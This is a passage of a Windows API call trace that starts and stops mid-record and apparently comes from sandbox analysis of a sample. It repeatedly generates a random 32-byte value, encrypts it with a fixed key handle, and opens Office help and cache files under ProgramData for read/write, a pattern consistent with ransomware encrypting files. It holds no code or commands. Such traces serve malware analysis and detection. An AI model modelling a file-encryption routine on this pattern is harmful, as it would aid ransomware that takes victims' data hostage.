pdwDataLen=0x251edc8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251edc8*=0x30) returned 1 [0107.508] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log" (normalized: "c:\\programdata\\mozilla\\logs\\maintenanceservice-install.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.508] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251edc8 | out: pbBuffer=0x251edc8) returned 1 [0107.508] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251edc0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251edc0*=0x30) returned 1 [0107.508] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\nslist.hxl" (normalized: "c:\\programdata\\microsoft help\\nslist.hxl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.509] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251edc8 | out: pbBuffer=0x251edc8) returned 1 [0107.509] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251edc0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251edc0*=0x30) returned 1 [0107.509] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winword.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.509] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251edc0 | out: pbBuffer=0x251edc0) returned 1 [0107.509] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251edb8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251edb8*=0x30) returned 1 [0107.509] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winword.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.509] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251edc0 | out: pbBuffer=0x251edc0) returned 1 [0107.509] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251edb8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251edb8*=0x30) returned 1 [0107.509] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.509] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251edb8 | out: pbBuffer=0x251edb8) returned 1 [0107.509] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251edb0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251edb0*=0x30) returned 1 [0107.509] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.509] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251edb8 | out: pbBuffer=0x251edb8) returned 1 [0107.510] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251edb0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251edb0*=0x30) returned 1 [0107.510] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio_std.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.510] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251edb0 | out: pbBuffer=0x251edb0) returned 1 [0107.510] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eda8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eda8*=0x30) returned 1 [0107.510] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio_prm.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.510] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251edb0 | out: pbBuffer=0x251edb0) returned 1 [0107.510] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eda8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eda8*=0x30) returned 1 [0107.510] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.shapesheet.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.510] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eda8 | out: pbBuffer=0x251eda8) returned 1 [0107.510] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eda0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eda0*=0x30) returned 1 [0107.510] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.510] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eda8 | out: pbBuffer=0x251eda8) returned 1 [0107.510] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eda0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eda0*=0x30) returned 1 [0107.510] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.511] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eda0 | out: pbBuffer=0x251eda0) returned 1 [0107.511] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed98*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed98*=0x30) returned 1 [0107.511] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.setlang.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.511] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eda0 | out: pbBuffer=0x251eda0) returned 1 [0107.511] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed98*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed98*=0x30) returned 1 [0107.511] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.511] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed98 | out: pbBuffer=0x251ed98) returned 1 [0107.511] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed90*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed90*=0x30) returned 1 [0107.511] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.511] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed98 | out: pbBuffer=0x251ed98) returned 1 [0107.511] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed90*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed90*=0x30) returned 1 [0107.511] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.511] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed90 | out: pbBuffer=0x251ed90) returned 1 [0107.512] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed88*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed88*=0x30) returned 1 [0107.512] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.512] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed90 | out: pbBuffer=0x251ed90) returned 1 [0107.512] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed88*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed88*=0x30) returned 1 [0107.512] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.onenote.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.512] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed88 | out: pbBuffer=0x251ed88) returned 1 [0107.512] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed80*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed80*=0x30) returned 1 [0107.512] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.ois.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.512] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed88 | out: pbBuffer=0x251ed88) returned 1 [0107.512] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed80*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed80*=0x30) returned 1 [0107.512] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mstore.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.512] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed80 | out: pbBuffer=0x251ed80) returned 1 [0107.512] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed78*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed78*=0x30) returned 1 [0107.513] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.513] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed80 | out: pbBuffer=0x251ed80) returned 1 [0107.513] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed78*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed78*=0x30) returned 1 [0107.513] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.513] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed78 | out: pbBuffer=0x251ed78) returned 1 [0107.513] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed70*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed70*=0x30) returned 1 [0107.513] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msouc.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.513] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed78 | out: pbBuffer=0x251ed78) returned 1 [0107.513] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed70*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed70*=0x30) returned 1 [0107.513] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.513] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed70 | out: pbBuffer=0x251ed70) returned 1 [0107.513] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed68*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed68*=0x30) returned 1 [0107.513] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.514] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed70 | out: pbBuffer=0x251ed70) returned 1 [0107.514] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed68*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed68*=0x30) returned 1 [0107.514] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.infopatheditor.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.514] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed68 | out: pbBuffer=0x251ed68) returned 1 [0107.514] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed60*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed60*=0x30) returned 1 [0107.514] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.infopath.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.514] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed68 | out: pbBuffer=0x251ed68) returned 1 [0107.514] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed60*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed60*=0x30) returned 1 [0107.514] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.groove.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.514] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed60 | out: pbBuffer=0x251ed60) returned 1 [0107.514] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed58*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed58*=0x30) returned 1 [0107.514] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.graph.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.515] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed60 | out: pbBuffer=0x251ed60) returned 1 [0107.515] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed58*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed58*=0x30) returned 1 [0107.515] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.excel.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.515] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed58 | out: pbBuffer=0x251ed58) returned 1 [0107.515] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed50*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed50*=0x30) returned 1 [0107.515] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.excel.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.515] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed58 | out: pbBuffer=0x251ed58) returned 1 [0107.515] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed50*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed50*=0x30) returned 1 [0107.515] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\Hx.hxn" (normalized: "c:\\programdata\\microsoft help\\hx.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.515] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed50 | out: pbBuffer=0x251ed50) returned 1 [0107.515] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed48*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed48*=0x30) returned 1 [0107.515] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\cache\\cache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.516] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed40 | out: pbBuffer=0x251ed40) returned 1 [0107.516] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed38*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed38*=0x30) returned 1 [0107.516] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\xlslicer.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.516] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed38 | out: pbBuffer=0x251ed38) returned 1 [0107.518] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed30*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed30*=0x30) returned 1 [0107.518] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\xlintl32.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.518] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed38 | out: pbBuffer=0x251ed38) returned 1 [0107.518] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed30*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed30*=0x30) returned 1 [0107.518] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\xlintl32.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.518] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed30 | out: pbBuffer=0x251ed30) returned 1 [0107.518] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed28*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed28*=0x30) returned 1 [0107.519] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\wwintl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.519] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed30 | out: pbBuffer=0x251ed30) returned 1 [0107.519] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed28*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed28*=0x30) returned 1 [0107.519] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\wwintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, 